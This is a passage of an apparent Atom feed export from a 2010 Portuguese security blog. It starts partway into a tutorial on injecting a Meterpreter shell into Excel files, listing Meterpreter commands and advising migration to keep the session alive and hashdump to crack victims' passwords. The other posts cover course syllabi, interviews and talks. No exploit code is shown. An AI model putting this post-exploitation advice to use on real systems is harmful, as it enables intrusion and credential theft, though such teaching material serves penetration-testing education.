&lt;/tr&gt; &lt;tr&gt; &lt;td&gt;idletime&lt;/td&gt; &lt;td&gt;Returns the number of seconds the remote user has been idle&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;uictl&lt;/td&gt; &lt;td&gt;Control some of the user interface components&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Priv: Password database Commands&lt;/span&gt;&lt;/h1&gt;  &lt;table class="tabCorpo"&gt; &lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Command&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;hashdump&lt;/td&gt; &lt;td&gt;Dumps the contents of the SAM database&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;&lt;span style="font-size:100%;"&gt;Priv: Timestomp Commands&lt;/span&gt;&lt;/h1&gt;   &lt;table class="tabCorpo"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td&gt;&lt;strong&gt;Command&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;timestomp&lt;/td&gt; &lt;td align="right"&gt;Manipulate file MACE attributes&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td align="right"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style="font-weight: bold;"&gt;2 - Finalização&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;É sempre bom ressaltar a potência e a capacidade do &lt;em&gt;meterpreter&lt;/em&gt; para injetar dll's, fazer upload de arquivos, executar scripts e etc. Recomendo que dê uma lida no documento &lt;a href="http://www.nologin.org/Downloads/Papers/meterpreter.pdf"&gt;Metasploit's Meterpreter&lt;/a&gt; para saber mais sobre os comandos do &lt;em&gt;meterpreter&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;Recomendo também utilizar o comando "migrate" tão logo possa, ao conseguir o shell com a máquina alvo, para evitar que assim que fecharem o arquivo XLS, sua conexão também seja encerrada. Outro comando recomendado é o &lt;em&gt;hashdump&lt;/em&gt;, que retorna o conteúdo do arquivo SAM da máquina vítima, para que posteriormente se possa obter a senha dos usuários e administradores, utilizando ferramentas como &lt;em&gt;l0phtcrack&lt;/em&gt; ou &lt;em&gt;cain&amp;amp;abel&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;Por último, deixo abaixo o vídeo do autor da ferramenta XLSInjector, onde ensina o seu funcionamento:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt; &lt;a href="http://videos.securitytube.net/Injecting-Meterpreter-into-Excel-files-using-XLSInjector.mp4"&gt;Injecting Meterpreter into Excel files using XLSInjector&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-7716918176238868239?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/7716918176238868239/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/10/xlsinjector-saiba-como-injetar-um-shell.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7716918176238868239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7716918176238868239'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/10/xlsinjector-saiba-como-injetar-um-shell.html' title='XLSInjector - Saiba como injetar um Shell Meterpreter em arquivos Excel'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-5451472724087005433</id><published>2010-10-11T16:08:00.002-03:00</published><updated>2010-10-11T16:11:52.478-03:00</updated><title type='text'>Entrevista no Correio Brasiliense</title><content type='html'>Caros,&lt;br /&gt;&lt;br /&gt;Para quem tiver interesse, participei de uma entrevista no Jornal Correio Brasiliense, cujo título é "&lt;a href="http://www.correiobraziliense.com.br/app/noticia182/2010/10/05/tecnologia,i=216576/PROBLEMAS+NA+SEGURANCA+NA+WEB+GERAM+DOR+DE+CABECA+PARA+USUARIOS+E+EMPRESAS.shtml"&gt;Problemas na segurança na web geram dor de cabeça para usuários e empresas&lt;/a&gt;".&lt;br /&gt;&lt;br /&gt;Outros profissionais, como Ulisses de Castro, participaram de entrevista :-)&lt;br /&gt;&lt;br /&gt;Vale a pena dar uma conferida!&lt;br /&gt;&lt;br /&gt;[ ]'s&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-5451472724087005433?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/5451472724087005433/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/10/entrevista-no-correio-brasiliense.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5451472724087005433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5451472724087005433'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/10/entrevista-no-correio-brasiliense.html' title='Entrevista no Correio Brasiliense'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-5836530818521254695</id><published>2010-10-05T15:38:00.002-03:00</published><updated>2010-10-05T15:42:08.048-03:00</updated><title type='text'>Pesquisa para primeiro videocast</title><content type='html'>Caros,&lt;br /&gt;&lt;br /&gt;Acabei de postar no lado direito da página, uma enquete para que votem, definindo o assunto que será abordado em nosso primeiro videocast, lançado (espero) ainda em outubro.&lt;br /&gt;&lt;br /&gt;As letras das opções não estão muito bem visíveis, por conta da cor de fundo do layout, mas basta selecionar as opções com o mouse que é possível ler cada uma delas e escolher uma.&lt;br /&gt;&lt;br /&gt;Espero a ajuda de vocês, para definirmos em conjunto o assunto que vai inaugurar nosso primeiro videocast sobre segurança da informação.&lt;br /&gt;&lt;br /&gt;Abraços!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-5836530818521254695?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/5836530818521254695/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/10/pesquisa-para-primeiro-videocast.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5836530818521254695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5836530818521254695'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/10/pesquisa-para-primeiro-videocast.html' title='Pesquisa para primeiro videocast'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-1525240820318498054</id><published>2010-10-05T09:08:00.000-03:00</published><updated>2010-10-05T09:09:50.993-03:00</updated><title type='text'>Malware Network</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PBPc4xPuBKI/TKsVVNWGTZI/AAAAAAAAAIk/n58KLSo9Mb8/s1600/network.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 224px;" src="http://4.bp.blogspot.com/_PBPc4xPuBKI/TKsVVNWGTZI/AAAAAAAAAIk/n58KLSo9Mb8/s400/network.png" alt="" id="BLOGGER_PHOTO_ID_5524532822003830162" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-1525240820318498054?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/1525240820318498054/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/10/malware-network.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1525240820318498054'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1525240820318498054'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/10/malware-network.html' title='Malware Network'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PBPc4xPuBKI/TKsVVNWGTZI/AAAAAAAAAIk/n58KLSo9Mb8/s72-c/network.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-3406129753248382697</id><published>2010-09-24T15:26:00.006-03:00</published><updated>2010-09-24T18:16:03.599-03:00</updated><title type='text'>Cursos presenciais: Teste de Invasão &amp; Forense Digital</title><content type='html'>Pessoal, para quem se interessa em teste de invasão e gostaria de fazer um curso do tipo, ministrarei na semana que vem (27/09 à 01/10) o curso de Teste de Invasão em Redes Corporativas na 4Linux em SP.&lt;br /&gt;&lt;br /&gt;E para quem achar muito em cima ou não conseguir vaga (acho que a turma já está lotada mesmo), haverá uma outra oportunidade de um curso presencial de 06 à 10/12, também na 4Linux em SP.&lt;br /&gt;&lt;br /&gt;A ementa do curso é a mesma que está no link:&lt;br /&gt;&lt;a href="http://hackproofing.blogspot.com/2010/07/curso-pen-test-teste-de-invasao-em.html"&gt;http://hackproofing.blogspot.com/2010/07/curso-pen-test-teste-de-invasao-em.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;E outra novidade: de 29/11 à 03/12, ministrarei o curso de forense digital na 4Linux, porém esssa turma já está lotada há meses :-)&lt;br /&gt;&lt;br /&gt;Mas quem tiver interesse no curso de forense, vamos abrir uma outra turma, excepcionalmente, de 13 à 17/12 na 4Linux.&lt;br /&gt;&lt;br /&gt;O conteúdo do curso de forense digital é o seguinte:&lt;br /&gt;&lt;br /&gt;       &lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }p.western { font-family: "Courier",monospace; font-weight: normal; }&lt;/style&gt;&lt;span style="font-weight: bold;"&gt;Conceitos Iniciais&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;O que é forense&lt;br /&gt;   Forense digital&lt;br /&gt;   Forense Computacional&lt;br /&gt;   Crime Cibernético&lt;br /&gt;   Papel do Investigador&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Laboratório Forense&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Organização do laboratório&lt;br /&gt;   Equipamento&lt;br /&gt;   Criação de toolkits&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Investigação Forense&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Investigação forense computacional&lt;br /&gt;   Passos da Investigação&lt;br /&gt;   Coleta de dados&lt;br /&gt;       O que fazer inicialmente?&lt;br /&gt;       Voláteis&lt;br /&gt;       Não-voláteis&lt;br /&gt;   Análise de memória física&lt;br /&gt;   Duplicação de dados&lt;br /&gt;   Recuperação de arquivos e partições deletadas&lt;br /&gt;   Processo de boot do Linux, Windows e Macintosh&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt; &lt;br /&gt;Ataques por meios computacionais&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Servidores e Clientes de e-mails&lt;br /&gt;   Investigando os crimes e as violações de e-mails&lt;br /&gt;   Como lidar com o spam&lt;br /&gt;   Investigando ataques de DoS&lt;br /&gt;   Investigando ataques de Web&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt; &lt;br /&gt;Resposta à Incidentes&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Criação de de CSIRT's&lt;br /&gt;   Avaliação de risco&lt;br /&gt;   Escrita de relatórios forenses&lt;br /&gt;   Aspectos legais&lt;br /&gt;  &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Ferramentas Livres&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Distribuições&lt;br /&gt;   Ferramentas&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Forense em máquinas virtuais&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Virtualização&lt;br /&gt;   Cloud Computing&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt; &lt;br /&gt;Forense em Linux&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Boot no Linux&lt;br /&gt;   Sistema de arquivos&lt;br /&gt;   Ext2 e Ext3&lt;br /&gt;   Estudo de caso: Sistema Linux comprometido&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Forense em Windows&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Boot no Windows&lt;br /&gt;   Sistema de arquivos&lt;br /&gt;   FAT e NTFS&lt;br /&gt;   Estudo de caso: Honeypot Windows comprometido&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Anti-Forense&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Conceito&lt;br /&gt;   Métodos&lt;br /&gt;   Criptografia&lt;br /&gt;   Rootkits&lt;br /&gt;   Ferramentas&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Engenharia Reversa e Análise Malware&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Engenharia Reversa Básica&lt;br /&gt;   HT Editor e Evans Debugger&lt;br /&gt;   Descoberta e coleta de malware&lt;br /&gt;   Montagem de lab. para análise&lt;br /&gt;   Análise de arquivo suspeitos&lt;br /&gt;   Estudo de caso: análise forense de malwares do tipo banking&lt;br /&gt;   Estudo de caso: análise forense de binário capturado (com engenharia reversa)&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Imagens digitais e esteganografia&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Categorias de esteganografia&lt;br /&gt;   Ferramentas&lt;br /&gt;   Detecção de esteganografia&lt;br /&gt;   Ocultando informações em pacotes de rede&lt;br /&gt;   Quebra de senhas&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Investigando tráfego de rede&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Modelo OSI&lt;br /&gt;   Endereçamento e NAT&lt;br /&gt;   Ferramentas de coleta de informações de rede&lt;br /&gt;   Snort&lt;br /&gt;   Roteadores&lt;br /&gt;   Investigando os roteadores&lt;br /&gt;   Análise de tráfego de redes&lt;br /&gt;   Busca por evidências&lt;br /&gt;   Estudo de caso: análise de ataques à browsers&lt;br /&gt;   Estudo de caso: análise de tráfego de rede com strings de ataque&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Forense em VoIP&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Protocolos&lt;br /&gt;   Tráfego de rede VoIP&lt;br /&gt;   Estudo de caso: análise forense de tráfego VOIP&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt; &lt;br /&gt;Mídias digitais&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;Smartcards&lt;br /&gt;   Pendrives&lt;br /&gt;   CD-Rom&lt;br /&gt;   DVD&lt;br /&gt;   Blue-Ray&lt;br /&gt;   RAID&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt; &lt;br /&gt;Dispositivos Móveis&lt;br /&gt;   &lt;/span&gt;&lt;span&gt;PDAs&lt;br /&gt;   Ipods&lt;br /&gt;   Smartphones&lt;br /&gt;   Forense em Iphone&lt;br /&gt;   PS3&lt;br /&gt;   Estudo de caso: análise forense de memória de PS3&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;b&gt;Simulado Forense e Estudos de caso&lt;/b&gt;&lt;/span&gt;  &lt;p style="margin-left: 4.02cm; margin-right: 2cm; margin-bottom: 0cm; font-weight: normal;" align="JUSTIFY"&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="font-size:100%;"&gt; O simulado é um conjunto de perguntas que podem estar na prova de certificação CHFI e GCFA. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-left: 4.02cm; margin-right: 2cm; margin-bottom: 0cm; font-weight: normal;" align="JUSTIFY"&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span&gt;&lt;span style="font-size:100%;"&gt;Os estudos de casos são imagens que serão analisadas pelos alunos. Caso reais ou próximos dos reais, onde o aluno terá uma situação, alguns dados e perguntas para responder. Todos são baseados em desafios desenvolvidos por profissionais internacionais reconhecidos na área de forense digital.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Quem tiver interesse em qualquer um dos cursos, pode conseguir informações pelo (11) 2125-4747 ou pelo site www.4linux.com.br.&lt;br /&gt;&lt;br /&gt;Abraço!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-3406129753248382697?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/3406129753248382697/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/09/cursos-presenciais-teste-de-invasao.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/3406129753248382697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/3406129753248382697'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/09/cursos-presenciais-teste-de-invasao.html' title='Cursos presenciais: Teste de Invasão &amp; Forense Digital'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-1479325960363605411</id><published>2010-09-14T07:04:00.002-03:00</published><updated>2010-09-14T07:13:57.155-03:00</updated><title type='text'>Novidades no blog</title><content type='html'>Caros, em breve teremos algumas novidades no blog, que surgiram a partir de projetos pessoais na área de segurança da informação.&lt;br /&gt;&lt;br /&gt;A idéia é, a partir desse blog, transformá-lo em fonte de vídeos sobre segurança da informação. Inicialmente serão vídeos semanais, com duração de 5 minutos apenas, onde falarei sobre um tema específico relacionado à área.&lt;br /&gt;&lt;br /&gt;Espero que com isso, sejamos pioneiros nessa ação, pois até hoje só encontrei blogs que fazem isso lá fora.&lt;br /&gt;&lt;br /&gt;Penso que meus dois únicos problemas para realizar essa idéia são:&lt;br /&gt;&lt;br /&gt;1º - falta de tempo (mas contornarei isso mesmo que tenha que fazer os vídeos de madrugada hehehehe);&lt;br /&gt;&lt;br /&gt;2º - vou ter que dar meu jeito pra aprender a editar vídeos no Linux :-) (mas nada é impossível, afinal, se consegui aprender grego na faculdade através de uma apostila em alemão, consigo aprender qualquer coisa - espero que essa afirmativa tbm se aplique a aprender a dirigir...rs).&lt;br /&gt;&lt;br /&gt;Bem, é isso. Espero em breve retornar já com nosso primeiro vídeo, cujo tema será &lt;span style="font-weight: bold;"&gt;"segurança da informação no Brasil, qual nossa realidade"&lt;/span&gt;, baseado em um artigo meu, escrito há tempos atrás.&lt;br /&gt;&lt;br /&gt;Abraço à todos!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-1479325960363605411?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/1479325960363605411/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/09/novidades-no-blog.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1479325960363605411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1479325960363605411'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/09/novidades-no-blog.html' title='Novidades no blog'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-6435547885687312593</id><published>2010-09-10T11:25:00.000-03:00</published><updated>2010-09-10T11:26:57.006-03:00</updated><title type='text'>Trusted Computing - palestra ministrada no FISL 11 - 2010</title><content type='html'>&lt;div style="width: 425px;" id="__ss_5173221"&gt;&lt;strong style="display: block; margin: 12px 0pt 4px;"&gt;&lt;/strong&gt;&lt;object id="__sse5173221" height="355" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=trustedcomputing-fisl2010-100910092340-phpapp01&amp;amp;stripped_title=trusted-computing-e-software-livre-fisl-11-2010"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed name="__sse5173221" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=trustedcomputing-fisl2010-100910092340-phpapp01&amp;amp;stripped_title=trusted-computing-e-software-livre-fisl-11-2010" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding: 5px 0pt 12px;"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/luizvieira"&gt;luizvieira&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-6435547885687312593?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/6435547885687312593/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/09/trusted-computing-palestra-ministrada.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6435547885687312593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6435547885687312593'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/09/trusted-computing-palestra-ministrada.html' title='Trusted Computing - palestra ministrada no FISL 11 - 2010'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-8500395828286299822</id><published>2010-09-09T09:20:00.001-03:00</published><updated>2010-09-09T09:22:33.704-03:00</updated><title type='text'>Entrevista sobre segurança da informação</title><content type='html'>Entrevista com Denny Roger, fundador da EPSEC, empresa especializada em segurança da informação, e membro do ABNT/CB21, Comitê Brasileiro sobre as normas de gestão de segurança da informação.&lt;br /&gt;&lt;br /&gt;Acesse:&lt;br /&gt;&lt;a href="http://cbn.globoradio.globo.com/programas/jornal-da-cbn/2010/09/09/SEGURANCA-DA-INFORMACAO-E-A-PRINCIPAL-PREOCUPACAO-DAS-EMPRESAS-SEGUNDO-PESQUISA.htm"&gt;&lt;br /&gt;http://cbn.globoradio.globo.com/programas/jornal-da-cbn/2010/09/09/SEGURANCA-DA-INFORMACAO-E-A-PRINCIPAL-PREOCUPACAO-DAS-EMPRESAS-SEGUNDO-PESQUISA.htm&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-8500395828286299822?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/8500395828286299822/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2010/09/entrevista-sobre-seguranca-da.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8500395828286299822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/8500395828286299822'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2010/09/entrevista-sobre-seguranca-da.html' title='Entrevista sobre segurança da informação'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-4980144592743305915</id><published>2010-09-02T00:03:00.002-03:00</published><updated>2010-09-02T08:58:15.894-03:00</updated><title type='text'>Apresentação na LinuxCon Brazil 2010, no dia 31/08 -   Analysis of vulnerabilities in web applications</title><content type='html'>&lt;div style="width: 425px;" id="__ss_5110530"&gt;&lt;strong style="display: block; margin: 12px 0pt 4px;"&gt;&lt;/strong&gt;&lt;object id="__sse5110530" height="355" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=analysisofvulnerabilitiesinwebapplications-linuxconbrazil2010-100901215857-phpapp01&amp;amp;stripped_title=analysis-of-vulnerabilities-in-web-applications-linuxcon-brazil-2010"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed name="__sse5110530" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=analysisofvulnerabilitiesinwebapplications-linuxconbrazil2010-100901215857-phpapp01&amp;amp;stripped_title=analysis-of-vulnerabilities-in-web-applications-linuxcon-brazil-2010" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding: 5px 0pt 12px;"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/luizvieira"&gt;luizvieira&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Gostei muito da LinuxCon pelo 